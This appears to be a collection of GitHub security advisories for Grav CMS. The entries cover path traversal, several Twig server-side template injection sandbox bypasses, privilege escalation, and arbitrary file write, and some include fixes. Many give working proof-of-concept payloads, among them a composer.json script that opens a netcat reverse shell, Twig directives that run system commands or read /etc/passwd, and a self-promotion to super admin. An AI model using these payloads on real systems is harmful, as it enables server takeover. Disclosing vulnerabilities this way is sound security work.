if (null === $filename) { // If no filename is given, use the filename from the uploaded file (path is not allowed). $folder = ''; $filename = $metadata['filename'] ?? ''; } else { // If caller sets the filename, we will accept any custom path. $folder = dirname($filename); -> Vulnerable Code if ($folder === '.') { $folder = ''; } $filename = Utils::basename($filename);

PoC

1. Log in to the Grav CMS using a super administrator account. 2. Add a user in the "Accounts" section with the following permissions: - Login to Admin - Page Update 3. Log out of the super administrator account and log in with the previously created user account. 4. Navigate to the https://<grav>admin/pages/home. 5. Use the following command in Kali Linux to open a netcat listener: nc -lvnp 8081 !image Note: "nc" or netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. We are using this tool to get a reverse shell from the server hosting Grav CMS. 7. Using a web interception proxy, click on the "Page Media" section and upload a json file with the following added to the "scripts" section (https://getcomposer.org/doc/articles/scripts.md): "post-install-cmd": "nc <IP-address> 8081 -e /bin/bash", "post-update-cmd": "nc <IP-address> 8081 -e /bin/bash" Note: The post installation and update script used in this PoC is only for demonstration purposes. There are various other scripts that may be injected such as command that executes the corresponding script before any Composer Command is executed on the CLI. !image Note: . Please replace <IP-address> with the IP address of the Kali Linux netcat listener. 8. Modify the "name" parameter to "../../../c/omposer.json" and forward the request. 9. Observe the successful upload message from the server response: !image 10. In the Grav web root, observe that the "composer.json" file was successfully replaced by the malicious "composer.json" file containing a reverse shell script. 11. Run any variations of the following commands in the Grav web server and observe the successful reverse shell: - bin/grav composer - composer update - composer install !image

Impact

1. Arbitrary Code Injection: Attackers can replace the composer.json file with a malicious one containing arbitratry composer scripts. This can result in code execution when the composer command is used for any purpose in the server. that can allow attackers to get a reverse shell on the server.

2. Backup Compromise: .zip backup files can be replaced, undermining data integrity and recovery mechanisms: !image !image

3. Sensitive Information Exposure: Modification of .css files provides an avenue for attackers to exfiltrate sensitive information, such as usernames and passwords, compromising confidentiality. !image

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary Grav CMS is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox.

Details The Grav CMS implements a custom sandbox to protect the powerful Twig methods "registerUndefinedFunctionCallback()" and "registerUndefinedFilterCallback()", in order to avoid SSTI attacks by denying the calling of dangerous PHP functions into the Twig template directives (such as: "exec()", "passthru()", "system()", etc.). The current defenses are based on a blacklist of prohibited functions (PHP, Twig), checked through the "isDangerousFunction()" method called in the file "system/src/Grav/Common/Twig.php":

php ... $this->twig = new TwigEnvironment($loaderchain, $params);

$this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefunctions'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFunction($name, $name); } if ($config->get('system.twig.undefinedfunctions')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefunctions", EUSERDEPRECATED);

return new TwigFunction($name, $name); }

/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: system.twig.safefunctions")); }

return new TwigFunction($name, static function () {}); }

return false; });

$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED); return new TwigFilter($name, $name); } ... In the code above it can be seen that the calls of the "isDangerousFunction()" are not performed when the method/filter in the "$name" variable has been considered safe. A function can be defined safe only by an administrator user, by adding it into the configuration properties "system.twig.safefunctions" and/or "system.twig.safefilters" (a sort of whitelists that by default are empty) of the configuration file "system/config/system.yaml".

It is to note that within the "system/src/Grav/Common/Twig.php" file a Twig class is defined (with its constructor, methods and attributes) and in particular the Twig object (and environment) is instantiated on it: php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template; ... / Constructor @param Grav $grav / public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }

/ Twig initialization that sets the twig loader chain, then the environment, then extensions and also the base set of twig vars @return $this / public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; ... Since the security sandbox does not protect the Twig object it is possible to interact with it (e.g. call its methods, read/write its attributes) through opportunely crafted Twig template directives injected on a web page. Then an authenticated editor user could be able to add arbitrary functions into the Twig attributes "system.twig.safefunctions" and "system.twig.safefilters" in order to circumvent the Grav CMS sandbox.

PoC An authenticated user with the permissions to edit a page (having Twig processing enabled) on the Grav CMS admin console, could create/edit a web page containing a malicious template directive to execute arbitrary OS commands on the remote web server. For instance, in order to abuse the vulnerability and execute the prohibited "system('id')" code, bypassing the sandbox, the editor could generate a web page containing the following template directives: {% set arr = {'1':'system', '2':'foo'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefunctions', arr)) }} {{ system('id') }} Once saved the malicious page could be accessed by unauthenticated users to execute the "system('id')" code on the remote server hosting the vulnerable Grav CMS.

Impact It is possible to execute remote code on the underlying server and compromise it.

Tested version Grav CMS v1.7.43

Reported by Maurizio Siddu

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.

Details The twig context has a function declared called getFunction. php public function getFunction($name) { if (!$this->extensionInitialized) { $this->initExtensions(); }

if (isset($this->functions[$name])) { return $this->functions[$name]; }

foreach ($this->functions as $pattern => $function) { $pattern = strreplace('\\', '(.?)', pregquote($pattern, '#'), $count);

if ($count) { if (pregmatch('#^'.$pattern.'$#', $name, $matches)) { arrayshift($matches); $function->setArguments($matches);

return $function; } } }

foreach ($this->functionCallbacks as $callback) { if (false !== $function = \calluserfunc($callback, $name)) { return $function; } }

return false; } This function, if the value of $name does not exist in $this->functions, uses calluserfunc to execute callback functions stored in $this->functionCallbacks.

It is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.

The default function callback is as follows: php $this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefunctions'); if (isarray($allowed) and inarray($name, $allowed, true) and functionexists($name)) { return new TwigFunction($name, $name); } if ($config->get('system.twig.undefinedfunctions')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefunctions", EUSERDEPRECATED);

return new TwigFunction($name, $name); }

/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: system.twig.safefunctions")); }

return new TwigFunction($name, static function () {}); }

return false; }); If you look at this function, if the value of system.twig.undefinedfunctions is false, it returns false. In that case, it is possible for our registered callback to be executed.

At this time, the Grav\Common\Config\Config class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefinedfunctions to false. As a result, an attacker can execute any arbitrarily registered callback function.

PoC {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}

!image

Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twigarraymap, allowing attackers to bypass the validation and execute arbitrary commands.

Details {{ grav.twig.twig.getFunction('twigarraymap')|vardump }} !image

When we accessed twigarraymap like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twigarraymap without any restrictions.

{% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }} Since there is no validation on twigarraymap itself, it is possible to call arbitrary function using calluserfunc.

PoC {% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }}

Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.

Details https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99 php / Defines a new escaper to be used via the escape filter. @param string $strategy The strategy name that should be used as a strategy in the escape call @param callable $callable A valid PHP callable / public function setEscaper($strategy, callable $callable) { $this->escapers[$strategy] = $callable; } Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.

plaintext {{ grav.twig.twig.extensions.core.setEscaper('a','a') }} At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.

PoC {{ vardump(grav.twig.twig.extensions.core.setEscaper('system','twigarrayfilter')) }} {{ vardump(['id'] | escape('system', 'system')) }}

Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Cross Site Scripting vulnerability in grav v.1.7.48, v.1.7.47 and v.1.7.46 allows an attacker to execute arbitrary code via the onerror attribute of the img element

First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.

Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true

Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)

Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"

Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.

Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.

- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.

- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.

Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.

Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:

php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );

/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);

$form->message = $processedstring; break;

Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:

- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.

php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }

PoC

First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

We can run the program with this payload:

bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"

Our payload goes through and not one malicious function is filtered:

evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')

Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:

- Go to pages - Add a page and create a new form or choose an exiting one

We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:

{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}

URL-encode it before sending it should look something like this:

!image

!image

Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:

!image

Content of form:

title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'

Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:

{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}

Now we can visit the page and input our payload, submit and we got command result:

!image

Impact

Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.

Recommended Fix

- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.

Details Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.

This enables exploitation of Grav internal APIs such as: - grav.user.update() and grav.user.save() for escalating the current user to super admin or admin - grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution

The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.

PoC Preconditions: - You must have access to a non-admin user with permission to create/edit pages (admin.pages access) - For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.

Steps to reproduce Privilege Escalation: 1. Login into the non-admin page (default at cms-url/login). 2. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 3. Inject the following payload into the page content to escalate privileges: {% set = grav.user.update({ 'access': { 'admin': { 'login': true, 'super': true } } }, {}) %} {% set = grav.user.save() %} 4. Visit the edited/created page url. The logged in user is now admin. (Note: For the changes to show, you need to log out of the admin panel and relogin).

Steps to reproduce Remote Code Execution: 1. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 2. Inject the following payload into the page content to execute commands: {% set = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %} {% set = grav.scheduler.save() %} {% set = grav.scheduler.run() %} 3. Visit the page to trigger the execution. The system will issue a curl request.

Impact This vulnerability allows: - Privilege Escalation from any user with page editing capabilities to full admin (super) access. - Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.

It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users. A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access.

Steps to Reproduce 1. Make sure you have two accounts: an admin and a user with create user privilege 2. In the user account, navigate to /grav-admin/admin/accounts/users and click "Add" 3. Enter the name of the admin, complete registration and observe that the existing admin’s email is changed to the value you provided. 4. Log out from user account log in as admin with new credentials

Impact 1. Full admin takeover by any user with create user permission. 2. Ability to change admin credentials, install/remove plugins, read or modify site data, and execute any action available to an admin. 3. Severity: High/Critical.

PoC https://github.com/user-attachments/assets/3ab0a7d6-5055-41be-9e0e-2bd6ca359b37

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.

Details

Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.

The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:

php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED);

return new TwigFilter($name, $name); }

/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: system.twig.safefilters")); }

return new TwigFilter($name, static function () {}); }

return false; });

In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safefilters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.

Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:

php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template;

// Constructor public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }

// Twig initialization method public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; / @var UniformResourceLocator $locator / $locator = $this->grav['locator']; / @var Language $language / $language = $this->grav['language'];

$activelanguage = $language->getActive(); ... } } }

Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safefilters, effectively bypassing the Grav CMS sandbox.

Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.

For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:

twig {% set arr = {'1':'system', '2':'exec'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefilters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }}

Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.

Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write

[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection

Summary

Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the sessionid (passed as form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data.

This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.

Affected Component

- Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026). - Class: Grav\Framework\Form\FormFlash - Method: construct() / getTmpDir() - Parameter: sessionid (Mapped to form-flash-id in POST requests)

Vulnerability Details

The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided sessionid. The path construction logic in the latest source:

php $folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : ''); $this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;

Lack of sanitization on the sessionId (the raw session identifier) allows the use of ../ sequences. When findResource resolves the stream, it allows escape into any writable directory within the webserver's scope (typically user/config/, cache/, logs/, and tmp/).

Affected Versions & Zero-Day Status

- Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025). - Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched. - Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions). - CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.

Steps to Reproduce

1. Identify any page containing a Grav Form (e.g., /contact). 2. Intercept the POST request during form submission. 3. Modify the form-flash-id parameter to include a traversal sequence targeting a writable directory (e.g., ../../user/config/proofdir). 4. Submit the request. 5. Observe that a new directory (poc/) and file (index.yaml) have been created at the traversed path.

Request Example

http POST /contact HTTP/1.1 Host: target.grav.cms Content-Type: application/x-www-form-urlencoded

form-name-=contact&form-flash-id=../../user/config/proofdir&form-data[name]=Attack&form-data[message]=Payload

Response / Result

- HTTP/1.1 302 Found (Standard redirect) - Filesystem Modification: - Directory Created: /var/www/html/user/config/proofdir/poc/ - File Created: /var/www/html/user/config/proofdir/poc/index.yaml

Proof of Concept Evidence (Before/After)

Before Exploitation

- Status: Directory does not exist. - Evidence:

bash $ ls -la /var/www/html/user/config/proofdir/ ls: cannot access '/var/www/html/user/config/proofdir/': No such file or directory

After Exploitation

- Status: Arbitrary directory and index.yaml created. - Evidence:

bash $ ls -la /var/www/html/user/config/proofdir/poc/index.yaml -rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proofdir/poc/index.yaml $ cat /var/www/html/user/config/proofdir/poc/index.yaml form: '' id: '' uniqueid: poc ... data: pocstatus: confirmed

Impact

- Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation. - Configuration Injection: Writing index.yaml into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings. - Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses. - Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).

Attack Requirements

- Authentication: None (Unauthenticated) - Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)

Exploitability Assessment

- Complexity: Low. Requires only basic HTTP POST parameters. - Reliability: 100% (Deterministically reproducible in vulnerable versions). - Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.

Remediation

1. Sanitize Session IDs: Apply basename() or a strict alphanumeric regex to the sessionid in FormFlash before path construction. 2. Filesystem Hardening: Ensure user/config/ and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories. 3. Update Grav: Monitor for patches addressing FormFlash sanitization.

---

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.

What changed: FormFlash::construct() now sanitizes sessionid, uniqueid, and id through a strict [A-Za-z0-9,-]{1,64} allowlist before any path is constructed from them. Invalid values collapse to '', which causes save()/delete()/getTmpDir() to no-op — so a form-flash-id=../../user/config/proofdir POST simply does nothing on disk.

Files:

- system/src/Grav/Framework/Form/FormFlash.php - tests/unit/Grav/Common/Security/FormFlashSecurityTest.php — 32 test cases covering the PoC + variants.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.

Details

The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.

The API allows users to update their own profiles if they possess the basic api.access permission:

php // UsersController.php -> update() $isSelf = $currentUser->username === $username; if (!$isSelf) { $this->requirePermission($request, 'api.users.write'); } else { // Self-edit only requires api.access $this->requirePermission($request, 'api.access'); }

However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:

php // Partial update - only update provided fields $allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'contenteditor', 'access', 'twofaenabled']; foreach ($allowedFields as $field) { if (arraykeyexists($field, $body)) { $user->set($field, $body[$field]); } }

